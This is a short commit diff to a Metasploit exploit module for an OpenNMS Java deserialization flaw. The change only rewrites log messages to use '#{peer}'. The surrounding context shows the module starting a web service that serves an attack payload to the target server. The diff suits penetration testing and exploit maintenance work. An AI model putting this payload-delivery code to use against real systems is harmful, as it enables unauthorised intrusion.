Fixes comments in regards to #{peer}

modules/exploits/linux/misc/opennms_java_serialize.rb

@@ -109,7 +109,7 @@ class Metasploit4 < Msf::Exploit::Remote
 
     service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
 
-    vprint_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
+    vprint_status("#{peer} - Starting up our web service on #{service_url} ...")
     start_service({'Uri' => {
       'Proc' => Proc.new { |cli, req|
         on_request_uri(cli, req)
@@ -153,10 +153,10 @@ class Metasploit4 < Msf::Exploit::Remote
   # Handle incoming requests from the server
   def on_request_uri(cli, request)
     if (not @pl)
-      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
+      print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
       return
     end
-    vprint_status("#{rhost}:#{rport} - Sending the payload to the server...")
+    vprint_status("#{peer} - Sending the payload to the server...")
     send_response(cli, @pl)
   end